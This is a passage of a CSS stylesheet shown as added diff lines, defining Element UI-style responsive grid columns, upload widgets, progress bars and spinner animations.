{ + width: 20.83333% + } + .el-col-md-offset-5 { + margin-left: 20.83333% + } + .el-col-md-pull-5 { + position: relative; + right: 20.83333% + } + .el-col-md-push-5 { + position: relative; + left: 20.83333% + } + .el-col-md-6 { + width: 25% + } + .el-col-md-offset-6 { + margin-left: 25% + } + .el-col-md-pull-6 { + position: relative; + right: 25% + } + .el-col-md-push-6 { + position: relative; + left: 25% + } + .el-col-md-7 { + width: 29.16667% + } + .el-col-md-offset-7 { + margin-left: 29.16667% + } + .el-col-md-pull-7 { + position: relative; + right: 29.16667% + } + .el-col-md-push-7 { + position: relative; + left: 29.16667% + } + .el-col-md-8 { + width: 33.33333% + } + .el-col-md-offset-8 { + margin-left: 33.33333% + } + .el-col-md-pull-8 { + position: relative; + right: 33.33333% + } + .el-col-md-push-8 { + position: relative; + left: 33.33333% + } + .el-col-md-9 { + width: 37.5% + } + .el-col-md-offset-9 { + margin-left: 37.5% + } + .el-col-md-pull-9 { + position: relative; + right: 37.5% + } + .el-col-md-push-9 { + position: relative; + left: 37.5% + } + .el-col-md-10 { + width: 41.66667% + } + .el-col-md-offset-10 { + margin-left: 41.66667% + } + .el-col-md-pull-10 { + position: relative; + right: 41.66667% + } + .el-col-md-push-10 { + position: relative; + left: 41.66667% + } + .el-col-md-11 { + width: 45.83333% + } + .el-col-md-offset-11 { + margin-left: 45.83333% + } + .el-col-md-pull-11 { + position: relative; + right: 45.83333% + } + .el-col-md-push-11 { + position: relative; + left: 45.83333% + } + .el-col-md-12 { + width: 50% + } + .el-col-md-offset-12 { + margin-left: 50% + } + .el-col-md-pull-12 { + position: relative; + right: 50% + } + .el-col-md-push-12 { + position: relative; + left: 50% + } + .el-col-md-13 { + width: 54.16667% + } + .el-col-md-offset-13 { + margin-left: 54.16667% + } + .el-col-md-pull-13 { + position: relative; + right: 54.16667% + } + .el-col-md-push-13 { + position: relative; + left: 54.16667% + } + .el-col-md-14 { + width: 58.33333% + } + .el-col-md-offset-14 { + margin-left: 58.33333% + } + .el-col-md-pull-14 { + position: relative; + right: 58.33333% + } + .el-col-md-push-14 { + position: relative; + left: 58.33333% + } + .el-col-md-15 { + width: 62.5% + } + .el-col-md-offset-15 { + margin-left: 62.5% + } + .el-col-md-pull-15 { + position: relative; + right: 62.5% + } + .el-col-md-push-15 { + position: relative; + left: 62.5% + } + .el-col-md-16 { + width: 66.66667% + } + .el-col-md-offset-16 { + margin-left: 66.66667% + } + .el-col-md-pull-16 { + position: relative; + right: 66.66667% + } + .el-col-md-push-16 { + position: relative; + left: 66.66667% + } + .el-col-md-17 { + width: 70.83333% + } + .el-col-md-offset-17 { + margin-left: 70.83333% + } + .el-col-md-pull-17 { + position: relative; + right: 70.83333% + } + .el-col-md-push-17 { + position: relative; + left: 70.83333% + } + .el-col-md-18 { + width: 75% + } + .el-col-md-offset-18 { + margin-left: 75% + } + .el-col-md-pull-18 { + position: relative; + right: 75% + } + .el-col-md-push-18 { + position: relative; + left: 75% + } + .el-col-md-19 { + width: 79.16667% + } + .el-col-md-offset-19 { + margin-left: 79.16667% + } + .el-col-md-pull-19 { + position: relative; + right: 79.16667% + } + .el-col-md-push-19 { + position: relative; + left: 79.16667% + } + .el-col-md-20 { + width: 83.33333% + } + .el-col-md-offset-20 { + margin-left: 83.33333% + } + .el-col-md-pull-20 { + position: relative; + right: 83.33333% + } + .el-col-md-push-20 { + position: relative; + left: 83.33333% + } + .el-col-md-21 { + width: 87.5% + } + .el-col-md-offset-21 { + margin-left: 87.5% + } + .el-col-md-pull-21 { + position: relative; + right: 87.5% + } + .el-col-md-push-21 { + position: relative; + left: 87.5% + } + .el-col-md-22 { + width: 91.66667% + } + .el-col-md-offset-22 { + margin-left: 91.66667% + } + .el-col-md-pull-22 { + position: relative; + right: 91.66667% + } + .el-col-md-push-22 { + position: relative; + left: 91.66667% + } + .el-col-md-23 { + width: 95.83333% + } + .el-col-md-offset-23 { + margin-left: 95.83333% + } + .el-col-md-pull-23 { + position: relative; + right: 95.83333% + } + .el-col-md-push-23 { + position: relative; + left: 95.83333% + } + .el-col-md-24 { + width: 100% + } + .el-col-md-offset-24 { + margin-left: 100% + } + .el-col-md-pull-24 { + position: relative; + right: 100% + } + .el-col-md-push-24 { + position: relative; + left: 100% + } +} + +@media only screen and (min-width:1200px) { + .el-col-lg-0 { + display: none; + width: 0% + } + .el-col-lg-offset-0 { + margin-left: 0 + } + .el-col-lg-pull-0 { + position: relative; + right: 0 + } + .el-col-lg-push-0 { + position: relative; + left: 0 + } + .el-col-lg-1 { + width: 4.16667% + } + .el-col-lg-offset-1 { + margin-left: 4.16667% + } + .el-col-lg-pull-1 { + position: relative; + right: 4.16667% + } + .el-col-lg-push-1 { + position: relative; + left: 4.16667% + } + .el-col-lg-2 { + width: 8.33333% + } + .el-col-lg-offset-2 { + margin-left: 8.33333% + } + .el-col-lg-pull-2 { + position: relative; + right: 8.33333% + } + .el-col-lg-push-2 { + position: relative; + left: 8.33333% + } + .el-col-lg-3 { + width: 12.5% + } + .el-col-lg-offset-3 { + margin-left: 12.5% + } + .el-col-lg-pull-3 { + position: relative; + right: 12.5% + } + .el-col-lg-push-3 { + position: relative; + left: 12.5% + } + .el-col-lg-4 { + width: 16.66667% + } + .el-col-lg-offset-4 { + margin-left: 16.66667% + } + .el-col-lg-pull-4 { + position: relative; + right: 16.66667% + } + .el-col-lg-push-4 { + position: relative; + left: 16.66667% + } + .el-col-lg-5 { + width: 20.83333% + } + .el-col-lg-offset-5 { + margin-left: 20.83333% + } + .el-col-lg-pull-5 { + position: relative; + right: 20.83333% + } + .el-col-lg-push-5 { + position: relative; + left: 20.83333% + } + .el-col-lg-6 { + width: 25% + } + .el-col-lg-offset-6 { + margin-left: 25% + } + .el-col-lg-pull-6 { + position: relative; + right: 25% + } + .el-col-lg-push-6 { + position: relative; + left: 25% + } + .el-col-lg-7 { + width: 29.16667% + } + .el-col-lg-offset-7 { + margin-left: 29.16667% + } + .el-col-lg-pull-7 { + position: relative; + right: 29.16667% + } + .el-col-lg-push-7 { + position: relative; + left: 29.16667% + } + .el-col-lg-8 { + width: 33.33333% + } + .el-col-lg-offset-8 { + margin-left: 33.33333% + } + .el-col-lg-pull-8 { + position: relative; + right: 33.33333% + } + .el-col-lg-push-8 { + position: relative; + left: 33.33333% + } + .el-col-lg-9 { + width: 37.5% + } + .el-col-lg-offset-9 { + margin-left: 37.5% + } + .el-col-lg-pull-9 { + position: relative; + right: 37.5% + } + .el-col-lg-push-9 { + position: relative; + left: 37.5% + } + .el-col-lg-10 { + width: 41.66667% + } + .el-col-lg-offset-10 { + margin-left: 41.66667% + } + .el-col-lg-pull-10 { + position: relative; + right: 41.66667% + } + .el-col-lg-push-10 { + position: relative; + left: 41.66667% + } + .el-col-lg-11 { + width: 45.83333% + } + .el-col-lg-offset-11 { + margin-left: 45.83333% + } + .el-col-lg-pull-11 { + position: relative; + right: 45.83333% + } + .el-col-lg-push-11 { + position: relative; + left: 45.83333% + } + .el-col-lg-12 { + width: 50% + } + .el-col-lg-offset-12 { + margin-left: 50% + } + .el-col-lg-pull-12 { + position: relative; + right: 50% + } + .el-col-lg-push-12 { + position: relative; + left: 50% + } + .el-col-lg-13 { + width: 54.16667% + } + .el-col-lg-offset-13 { + margin-left: 54.16667% + } + .el-col-lg-pull-13 { + position: relative; + right: 54.16667% + } + .el-col-lg-push-13 { + position: relative; + left: 54.16667% + } + .el-col-lg-14 { + width: 58.33333% + } + .el-col-lg-offset-14 { + margin-left: 58.33333% + } + .el-col-lg-pull-14 { + position: relative; + right: 58.33333% + } + .el-col-lg-push-14 { + position: relative; + left: 58.33333% + } + .el-col-lg-15 { + width: 62.5% + } + .el-col-lg-offset-15 { + margin-left: 62.5% + } + .el-col-lg-pull-15 { + position: relative; + right: 62.5% + } + .el-col-lg-push-15 { + position: relative; + left: 62.5% + } + .el-col-lg-16 { + width: 66.66667% + } + .el-col-lg-offset-16 { + margin-left: 66.66667% + } + .el-col-lg-pull-16 { + position: relative; + right: 66.66667% + } + .el-col-lg-push-16 { + position: relative; + left: 66.66667% + } + .el-col-lg-17 { + width: 70.83333% + } + .el-col-lg-offset-17 { + margin-left: 70.83333% + } + .el-col-lg-pull-17 { + position: relative; + right: 70.83333% + } + .el-col-lg-push-17 { + position: relative; + left: 70.83333% + } + .el-col-lg-18 { + width: 75% + } + .el-col-lg-offset-18 { + margin-left: 75% + } + .el-col-lg-pull-18 { + position: relative; + right: 75% + } + .el-col-lg-push-18 { + position: relative; + left: 75% + } + .el-col-lg-19 { + width: 79.16667% + } + .el-col-lg-offset-19 { + margin-left: 79.16667% + } + .el-col-lg-pull-19 { + position: relative; + right: 79.16667% + } + .el-col-lg-push-19 { + position: relative; + left: 79.16667% + } + .el-col-lg-20 { + width: 83.33333% + } + .el-col-lg-offset-20 { + margin-left: 83.33333% + } + .el-col-lg-pull-20 { + position: relative; + right: 83.33333% + } + .el-col-lg-push-20 { + position: relative; + left: 83.33333% + } + .el-col-lg-21 { + width: 87.5% + } + .el-col-lg-offset-21 { + margin-left: 87.5% + } + .el-col-lg-pull-21 { + position: relative; + right: 87.5% + } + .el-col-lg-push-21 { + position: relative; + left: 87.5% + } + .el-col-lg-22 { + width: 91.66667% + } + .el-col-lg-offset-22 { + margin-left: 91.66667% + } + .el-col-lg-pull-22 { + position: relative; + right: 91.66667% + } + .el-col-lg-push-22 { + position: relative; + left: 91.66667% + } + .el-col-lg-23 { + width: 95.83333% + } + .el-col-lg-offset-23 { + margin-left: 95.83333% + } + .el-col-lg-pull-23 { + position: relative; + right: 95.83333% + } + .el-col-lg-push-23 { + position: relative; + left: 95.83333% + } + .el-col-lg-24 { + width: 100% + } + .el-col-lg-offset-24 { + margin-left: 100% + } + .el-col-lg-pull-24 { + position: relative; + right: 100% + } + .el-col-lg-push-24 { + position: relative; + left: 100% + } +} + +@media only screen and (min-width:1920px) { + .el-col-xl-0 { + display: none; + width: 0% + } + .el-col-xl-offset-0 { + margin-left: 0 + } + .el-col-xl-pull-0 { + position: relative; + right: 0 + } + .el-col-xl-push-0 { + position: relative; + left: 0 + } + .el-col-xl-1 { + width: 4.16667% + } + .el-col-xl-offset-1 { + margin-left: 4.16667% + } + .el-col-xl-pull-1 { + position: relative; + right: 4.16667% + } + .el-col-xl-push-1 { + position: relative; + left: 4.16667% + } + .el-col-xl-2 { + width: 8.33333% + } + .el-col-xl-offset-2 { + margin-left: 8.33333% + } + .el-col-xl-pull-2 { + position: relative; + right: 8.33333% + } + .el-col-xl-push-2 { + position: relative; + left: 8.33333% + } + .el-col-xl-3 { + width: 12.5% + } + .el-col-xl-offset-3 { + margin-left: 12.5% + } + .el-col-xl-pull-3 { + position: relative; + right: 12.5% + } + .el-col-xl-push-3 { + position: relative; + left: 12.5% + } + .el-col-xl-4 { + width: 16.66667% + } + .el-col-xl-offset-4 { + margin-left: 16.66667% + } + .el-col-xl-pull-4 { + position: relative; + right: 16.66667% + } + .el-col-xl-push-4 { + position: relative; + left: 16.66667% + } + .el-col-xl-5 { + width: 20.83333% + } + .el-col-xl-offset-5 { + margin-left: 20.83333% + } + .el-col-xl-pull-5 { + position: relative; + right: 20.83333% + } + .el-col-xl-push-5 { + position: relative; + left: 20.83333% + } + .el-col-xl-6 { + width: 25% + } + .el-col-xl-offset-6 { + margin-left: 25% + } + .el-col-xl-pull-6 { + position: relative; + right: 25% + } + .el-col-xl-push-6 { + position: relative; + left: 25% + } + .el-col-xl-7 { + width: 29.16667% + } + .el-col-xl-offset-7 { + margin-left: 29.16667% + } + .el-col-xl-pull-7 { + position: relative; + right: 29.16667% + } + .el-col-xl-push-7 { + position: relative; + left: 29.16667% + } + .el-col-xl-8 { + width: 33.33333% + } + .el-col-xl-offset-8 { + margin-left: 33.33333% + } + .el-col-xl-pull-8 { + position: relative; + right: 33.33333% + } + .el-col-xl-push-8 { + position: relative; + left: 33.33333% + } + .el-col-xl-9 { + width: 37.5% + } + .el-col-xl-offset-9 { + margin-left: 37.5% + } + .el-col-xl-pull-9 { + position: relative; + right: 37.5% + } + .el-col-xl-push-9 { + position: relative; + left: 37.5% + } + .el-col-xl-10 { + width: 41.66667% + } + .el-col-xl-offset-10 { + margin-left: 41.66667% + } + .el-col-xl-pull-10 { + position: relative; + right: 41.66667% + } + .el-col-xl-push-10 { + position: relative; + left: 41.66667% + } + .el-col-xl-11 { + width: 45.83333% + } + .el-col-xl-offset-11 { + margin-left: 45.83333% + } + .el-col-xl-pull-11 { + position: relative; + right: 45.83333% + } + .el-col-xl-push-11 { + position: relative; + left: 45.83333% + } + .el-col-xl-12 { + width: 50% + } + .el-col-xl-offset-12 { + margin-left: 50% + } + .el-col-xl-pull-12 { + position: relative; + right: 50% + } + .el-col-xl-push-12 { + position: relative; + left: 50% + } + .el-col-xl-13 { + width: 54.16667% + } + .el-col-xl-offset-13 { + margin-left: 54.16667% + } + .el-col-xl-pull-13 { + position: relative; + right: 54.16667% + } + .el-col-xl-push-13 { + position: relative; + left: 54.16667% + } + .el-col-xl-14 { + width: 58.33333% + } + .el-col-xl-offset-14 { + margin-left: 58.33333% + } + .el-col-xl-pull-14 { + position: relative; + right: 58.33333% + } + .el-col-xl-push-14 { + position: relative; + left: 58.33333% + } + .el-col-xl-15 { + width: 62.5% + } + .el-col-xl-offset-15 { + margin-left: 62.5% + } + .el-col-xl-pull-15 { + position: relative; + right: 62.5% + } + .el-col-xl-push-15 { + position: relative; + left: 62.5% + } + .el-col-xl-16 { + width: 66.66667% + } + .el-col-xl-offset-16 { + margin-left: 66.66667% + } + .el-col-xl-pull-16 { + position: relative; + right: 66.66667% + } + .el-col-xl-push-16 { + position: relative; + left: 66.66667% + } + .el-col-xl-17 { + width: 70.83333% + } + .el-col-xl-offset-17 { + margin-left: 70.83333% + } + .el-col-xl-pull-17 { + position: relative; + right: 70.83333% + } + .el-col-xl-push-17 { + position: relative; + left: 70.83333% + } + .el-col-xl-18 { + width: 75% + } + .el-col-xl-offset-18 { + margin-left: 75% + } + .el-col-xl-pull-18 { + position: relative; + right: 75% + } + .el-col-xl-push-18 { + position: relative; + left: 75% + } + .el-col-xl-19 { + width: 79.16667% + } + .el-col-xl-offset-19 { + margin-left: 79.16667% + } + .el-col-xl-pull-19 { + position: relative; + right: 79.16667% + } + .el-col-xl-push-19 { + position: relative; + left: 79.16667% + } + .el-col-xl-20 { + width: 83.33333% + } + .el-col-xl-offset-20 { + margin-left: 83.33333% + } + .el-col-xl-pull-20 { + position: relative; + right: 83.33333% + } + .el-col-xl-push-20 { + position: relative; + left: 83.33333% + } + .el-col-xl-21 { + width: 87.5% + } + .el-col-xl-offset-21 { + margin-left: 87.5% + } + .el-col-xl-pull-21 { + position: relative; + right: 87.5% + } + .el-col-xl-push-21 { + position: relative; + left: 87.5% + } + .el-col-xl-22 { + width: 91.66667% + } + .el-col-xl-offset-22 { + margin-left: 91.66667% + } + .el-col-xl-pull-22 { + position: relative; + right: 91.66667% + } + .el-col-xl-push-22 { + position: relative; + left: 91.66667% + } + .el-col-xl-23 { + width: 95.83333% + } + .el-col-xl-offset-23 { + margin-left: 95.83333% + } + .el-col-xl-pull-23 { + position: relative; + right: 95.83333% + } + .el-col-xl-push-23 { + position: relative; + left: 95.83333% + } + .el-col-xl-24 { + width: 100% + } + .el-col-xl-offset-24 { + margin-left: 100% + } + .el-col-xl-pull-24 { + position: relative; + right: 100% + } + .el-col-xl-push-24 { + position: relative; + left: 100% + } +} + +@-webkit-keyframes progress { + 0% { + background-position: 0 0 + } + 100% { + background-position: 32px 0 + } +} + +.el-upload { + display: inline-block; + text-align: center; + cursor: pointer; + outline: 0 +} + +.el-upload__input { + display: none +} + +.el-upload__tip { + font-size: 12px; + color: #606266; + margin-top: 7px +} + +.el-upload iframe { + position: absolute; + z-index: -1; + top: 0; + left: 0; + opacity: 0 +} + +.el-upload--picture-card { + background-color: #fbfdff; + border: 1px dashed #c0ccda; + border-radius: 6px; + box-sizing: border-box; + width: 148px; + height: 148px; + line-height: 146px; + vertical-align: top +} + +.el-upload--picture-card i { + font-size: 28px; + color: #8c939d +} + +.el-upload--picture-card:hover, +.el-upload:focus { + border-color: var(--color-primary, #419488); + color: var(--color-primary, #419488) +} + +.el-upload:focus .el-upload-dragger { + border-color: var(--color-primary, #419488) +} + +.el-upload-dragger { + background-color: #fff; + border: 1px dashed #d9d9d9; + border-radius: 6px; + box-sizing: border-box; + width: 360px; + height: 180px; + text-align: center; + position: relative; + overflow: hidden +} + +.el-upload-dragger .el-icon-upload { + font-size: 67px; + color: #c0c4cc; + margin: 40px 0 16px; + line-height: 50px +} + +.el-upload-dragger+.el-upload__tip { + text-align: center +} + +.el-upload-dragger~.el-upload__files { + border-top: 1px solid #dcdfe6; + margin-top: 7px; + padding-top: 5px +} + +.el-upload-dragger .el-upload__text { + color: #606266; + font-size: 14px; + text-align: center +} + +.el-upload-dragger .el-upload__text em { + color: var(--color-primary, #419488); + font-style: normal +} + +.el-upload-dragger:hover { + border-color: var(--color-primary, #419488) +} + +.el-upload-dragger.is-dragover { + background-color: rgba(32, 159, 255, .06); + border: 2px dashed var(--color-primary, #419488) +} + +.el-upload-list { + margin: 0; + padding: 0; + list-style: none +} + +.el-upload-list__item { + -webkit-transition: all .5s cubic-bezier(.55, 0, .1, 1); + transition: all .5s cubic-bezier(.55, 0, .1, 1); + font-size: 14px; + color: #606266; + line-height: 1.8; + margin-top: 5px; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-radius: 4px; + width: 100% +} + +.el-upload-list__item .el-progress { + position: absolute; + top: 20px; + width: 100% +} + +.el-upload-list__item .el-progress__text { + position: absolute; + right: 0; + top: -13px +} + +.el-upload-list__item .el-progress-bar { + margin-right: 0; + padding-right: 0 +} + +.el-upload-list__item:first-child { + margin-top: 10px +} + +.el-upload-list__item .el-icon-upload-success { + color: #67c23a +} + +.el-upload-list__item .el-icon-close { + display: none; + position: absolute; + top: 5px; + right: 5px; + cursor: pointer; + opacity: .75; + color: #606266 +} + +.el-upload-list__item .el-icon-close:hover { + opacity: 1 +} + +.el-upload-list__item .el-icon-close-tip { + display: none; + position: absolute; + top: 5px; + right: 5px; + font-size: 12px; + cursor: pointer; + opacity: 1; + color: var(--color-primary, #419488) +} + +.el-upload-list__item:hover { + background-color: #f5f7fa +} + +.el-upload-list__item:hover .el-icon-close { + display: inline-block +} + +.el-upload-list__item:hover .el-progress__text { + display: none +} + +.el-upload-list__item.is-success .el-upload-list__item-status-label { + display: block +} + +.el-upload-list__item.is-success .el-upload-list__item-name:focus, +.el-upload-list__item.is-success .el-upload-list__item-name:hover { + color: var(--color-primary, #419488); + cursor: pointer +} + +.el-upload-list__item.is-success:focus:not(:hover) .el-icon-close-tip { + display: inline-block +} + +.el-upload-list__item.is-success:active .el-icon-close-tip, +.el-upload-list__item.is-success:focus .el-upload-list__item-status-label, +.el-upload-list__item.is-success:hover .el-upload-list__item-status-label, +.el-upload-list__item.is-success:not(.focusing):focus .el-icon-close-tip { + display: none +} + +.el-upload-list.is-disabled .el-upload-list__item:hover .el-upload-list__item-status-label { + display: block +} + +.el-upload-list__item-name { + color: #606266; + display: block; + margin-right: 40px; + overflow: hidden; + padding-left: 4px; + text-overflow: ellipsis; + -webkit-transition: color .3s; + transition: color .3s; + white-space: nowrap +} + +.el-upload-list__item-name [class^=el-icon] { + height: 100%; + margin-right: 7px; + color: #909399; + line-height: inherit +} + +.el-upload-list__item-status-label { + position: absolute; + right: 5px; + top: 0; + line-height: inherit; + display: none +} + +.el-upload-list__item-delete { + position: absolute; + right: 10px; + top: 0; + font-size: 12px; + color: #606266; + display: none +} + +.el-upload-list__item-delete:hover { + color: var(--color-primary, #419488) +} + +.el-upload-list--picture-card { + margin: 0; + display: inline; + vertical-align: top +} + +.el-upload-list--picture-card .el-upload-list__item { + overflow: hidden; + background-color: #fff; + border: 1px solid #c0ccda; + border-radius: 6px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 148px; + height: 148px; + margin: 0 8px 8px 0; + display: inline-block +} + +.el-upload-list--picture-card .el-upload-list__item .el-icon-check, +.el-upload-list--picture-card .el-upload-list__item .el-icon-circle-check { + color: #fff +} + +.el-upload-list--picture-card .el-upload-list__item .el-icon-close, +.el-upload-list--picture-card .el-upload-list__item:hover .el-upload-list__item-status-label { + display: none +} + +.el-upload-list--picture-card .el-upload-list__item:hover .el-progress__text { + display: block +} + +.el-upload-list--picture-card .el-upload-list__item-name { + display: none +} + +.el-upload-list--picture-card .el-upload-list__item-thumbnail { + width: 100%; + height: 100% +} + +.el-upload-list--picture-card .el-upload-list__item-status-label { + position: absolute; + right: -15px; + top: -6px; + width: 40px; + height: 24px; + background: #13ce66; + text-align: center; + -webkit-transform: rotate(45deg); + transform: rotate(45deg); + -webkit-box-shadow: 0 0 1pc 1px rgba(0, 0, 0, .2); + box-shadow: 0 0 1pc 1px rgba(0, 0, 0, .2) +} + +.el-upload-list--picture-card .el-upload-list__item-status-label i { + font-size: 12px; + margin-top: 11px; + -webkit-transform: rotate(-45deg); + transform: rotate(-45deg) +} + +.el-upload-list--picture-card .el-upload-list__item-actions { + position: absolute; + width: 100%; + height: 100%; + left: 0; + top: 0; + cursor: default; + text-align: center; + color: #fff; + opacity: 0; + font-size: 20px; + background-color: rgba(0, 0, 0, .5); + -webkit-transition: opacity .3s; + transition: opacity .3s +} + +.el-upload-list--picture-card .el-upload-list__item-actions::after { + display: inline-block; + content: ""; + height: 100%; + vertical-align: middle +} + +.el-upload-list--picture-card .el-upload-list__item-actions span { + display: none; + cursor: pointer +} + +.el-upload-list--picture-card .el-upload-list__item-actions span+span { + margin-left: 15px +} + +.el-upload-list--picture-card .el-upload-list__item-actions .el-upload-list__item-delete { + position: static; + font-size: inherit; + color: inherit +} + +.el-upload-list--picture-card .el-upload-list__item-actions:hover { + opacity: 1 +} + +.el-upload-list--picture-card .el-upload-list__item-actions:hover span { + display: inline-block +} + +.el-upload-list--picture-card .el-progress { + top: 50%; + left: 50%; + -webkit-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); + bottom: auto; + width: 126px +} + +.el-upload-list--picture-card .el-progress .el-progress__text { + top: 50% +} + +.el-upload-list--picture .el-upload-list__item { + overflow: hidden; + z-index: 0; + background-color: #fff; + border: 1px solid #c0ccda; + border-radius: 6px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin-top: 10px; + padding: 10px 10px 10px 90px; + height: 92px +} + +.el-upload-list--picture .el-upload-list__item .el-icon-check, +.el-upload-list--picture .el-upload-list__item .el-icon-circle-check { + color: #fff +} + +.el-upload-list--picture .el-upload-list__item:hover .el-upload-list__item-status-label { + background: 0 0; + -webkit-box-shadow: none; + box-shadow: none; + top: -2px; + right: -12px +} + +.el-upload-list--picture .el-upload-list__item:hover .el-progress__text { + display: block +} + +.el-upload-list--picture .el-upload-list__item.is-success .el-upload-list__item-name { + line-height: 70px; + margin-top: 0 +} + +.el-upload-list--picture .el-upload-list__item.is-success .el-upload-list__item-name i { + display: none +} + +.el-upload-list--picture .el-upload-list__item-thumbnail { + vertical-align: middle; + display: inline-block; + width: 70px; + height: 70px; + float: left; + position: relative; + z-index: 1; + margin-left: -80px; + background-color: #fff +} + +.el-upload-list--picture .el-upload-list__item-name { + display: block; + margin-top: 20px +} + +.el-upload-list--picture .el-upload-list__item-name i { + font-size: 70px; + line-height: 1; + position: absolute; + left: 9px; + top: 10px +} + +.el-upload-list--picture .el-upload-list__item-status-label { + position: absolute; + right: -17px; + top: -7px; + width: 46px; + height: 26px; + background: #13ce66; + text-align: center; + -webkit-transform: rotate(45deg); + transform: rotate(45deg); + -webkit-box-shadow: 0 1px 1px #ccc; + box-shadow: 0 1px 1px #ccc +} + +.el-upload-list--picture .el-upload-list__item-status-label i { + font-size: 12px; + margin-top: 12px; + -webkit-transform: rotate(-45deg); + transform: rotate(-45deg) +} + +.el-upload-list--picture .el-progress { + position: relative; + top: -7px +} + +.el-upload-cover { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + overflow: hidden; + z-index: 10; + cursor: default +} + +.el-upload-cover::after { + display: inline-block; + height: 100%; + vertical-align: middle +} + +.el-upload-cover img { + display: block; + width: 100%; + height: 100% +} + +.el-upload-cover__label { + position: absolute; + right: -15px; + top: -6px; + width: 40px; + height: 24px; + background: #13ce66; + text-align: center; + -webkit-transform: rotate(45deg); + transform: rotate(45deg); + -webkit-box-shadow: 0 0 1pc 1px rgba(0, 0, 0, .2); + box-shadow: 0 0 1pc 1px rgba(0, 0, 0, .2) +} + +.el-upload-cover__label i { + font-size: 12px; + margin-top: 11px; + -webkit-transform: rotate(-45deg); + transform: rotate(-45deg); + color: #fff +} + +.el-upload-cover__progress { + display: inline-block; + vertical-align: middle; + position: static; + width: 243px +} + +.el-upload-cover__progress+.el-upload__inner { + opacity: 0 +} + +.el-upload-cover__content { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100% +} + +.el-upload-cover__interact { + position: absolute; + bottom: 0; + left: 0; + width: 100%; + height: 100%; + background-color: rgba(0, 0, 0, .72); + text-align: center +} + +.el-upload-cover__interact .btn { + display: inline-block; + color: #fff; + font-size: 14px; + cursor: pointer; + vertical-align: middle; + -webkit-transition: opacity .3s cubic-bezier(.23, 1, .32, 1), -webkit-transform .3s cubic-bezier(.23, 1, .32, 1); + transition: opacity .3s cubic-bezier(.23, 1, .32, 1), -webkit-transform .3s cubic-bezier(.23, 1, .32, 1); + transition: transform .3s cubic-bezier(.23, 1, .32, 1), opacity .3s cubic-bezier(.23, 1, .32, 1); + transition: transform .3s cubic-bezier(.23, 1, .32, 1), opacity .3s cubic-bezier(.23, 1, .32, 1), -webkit-transform .3s cubic-bezier(.23, 1, .32, 1); + margin-top: 60px +} + +.el-upload-cover__interact .btn span { + opacity: 0; + -webkit-transition: opacity .15s linear; + transition: opacity .15s linear +} + +.el-upload-cover__interact .btn:not(:first-child) { + margin-left: 35px +} + +.el-upload-cover__interact .btn:hover { + -webkit-transform: translateY(-13px); + transform: translateY(-13px) +} + +.el-upload-cover__interact .btn:hover span { + opacity: 1 +} + +.el-upload-cover__interact .btn i { + color: #fff; + display: block; + font-size: 24px; + line-height: inherit; + margin: 0 auto 5px +} + +.el-upload-cover__title { + position: absolute; + bottom: 0; + left: 0; + background-color: #fff; + height: 36px; + width: 100%; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + font-weight: 400; + text-align: left; + padding: 0 10px; + margin: 0; + line-height: 36px; + font-size: 14px; + color: #303133 +} + +.el-upload-cover+.el-upload__inner { + opacity: 0; + position: relative; + z-index: 1 +} + +.el-progress { + position: relative; + line-height: 1 +} + +.el-progress__text { + font-size: 14px; + color: #606266; + display: inline-block; + vertical-align: middle; + margin-left: 10px; + line-height: 1 +} + +.el-progress__text i { + vertical-align: middle; + display: block +} + +.el-progress--circle, +.el-progress--dashboard { + display: inline-block +} + +.el-progress--circle .el-progress__text, +.el-progress--dashboard .el-progress__text { + position: absolute; + top: 50%; + left: 0; + width: 100%; + text-align: center; + margin: 0; + -webkit-transform: translate(0, -50%); + transform: translate(0, -50%) +} + +.el-progress--circle .el-progress__text i, +.el-progress--dashboard .el-progress__text i { + vertical-align: middle; + display: inline-block +} + +.el-progress--without-text .el-progress__text { + display: none +} + +.el-progress--without-text .el-progress-bar { + padding-right: 0; + margin-right: 0; + display: block +} + +.el-progress-bar, +.el-progress-bar__inner::after, +.el-progress-bar__innerText, +.el-spinner { + display: inline-block; + vertical-align: middle +} + +.el-progress--text-inside .el-progress-bar { + padding-right: 0; + margin-right: 0 +} + +.el-progress.is-success .el-progress-bar__inner { + background-color: #67c23a +} + +.el-progress.is-success .el-progress__text { + color: #67c23a +} + +.el-progress.is-warning .el-progress-bar__inner { + background-color: #e6a23c +} + +.el-progress.is-warning .el-progress__text { + color: #e6a23c +} + +.el-progress.is-exception .el-progress-bar__inner { + background-color: #f56c6c +} + +.el-progress.is-exception .el-progress__text { + color: #f56c6c +} + +.el-progress-bar { + padding-right: 50px; + width: 100%; + margin-right: -55px; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-progress-bar__outer { + height: 6px; + border-radius: 100px; + background-color: #ebeef5; + overflow: hidden; + position: relative; + vertical-align: middle +} + +.el-progress-bar__inner { + position: absolute; + left: 0; + top: 0; + height: 100%; + background-color: var(--color-primary, #419488); + text-align: right; + border-radius: 100px; + line-height: 1; + white-space: nowrap; + -webkit-transition: width .6s ease; + transition: width .6s ease +} + +.el-card, +.el-message { + border-radius: 4px; + overflow: hidden +} + +.el-progress-bar__inner::after { + height: 100% +} + +.el-progress-bar__innerText { + color: #fff; + font-size: 12px; + margin: 0 5px +} + +@keyframes progress { + 0% { + background-position: 0 0 + } + 100% { + background-position: 32px 0 + } +} + +.el-time-spinner { + width: 100%; + white-space: nowrap +} + +.el-spinner-inner { + -webkit-animation: rotate 2s linear infinite; + animation: rotate 2s linear infinite; + width: 50px; + height: 50px +} + +.el-spinner-inner .path { + stroke: #ececec; + stroke-linecap: round; + -webkit-animation: dash 1.5s ease-in-out infinite; + animation: dash 1.5s ease-in-out infinite +} + +@-webkit-keyframes rotate { + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg) + } +} + +@keyframes rotate { + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg) + } +} + +@-webkit-keyframes dash { + 0% { + stroke-dasharray: 1, 150; + stroke-dashoffset: 0 + } + 50% { + stroke-dasharray: 90, 150; + stroke-dashoffset: -35 + } + 100% { + stroke-dasharray: 90, 150; + stroke-dashoffset: -124 + } +} + +@keyframes dash { + 0% { + stroke-dasharray: 1, 150; + stroke-dashoffset: 0 + } + 50% { + stroke-dasharray: 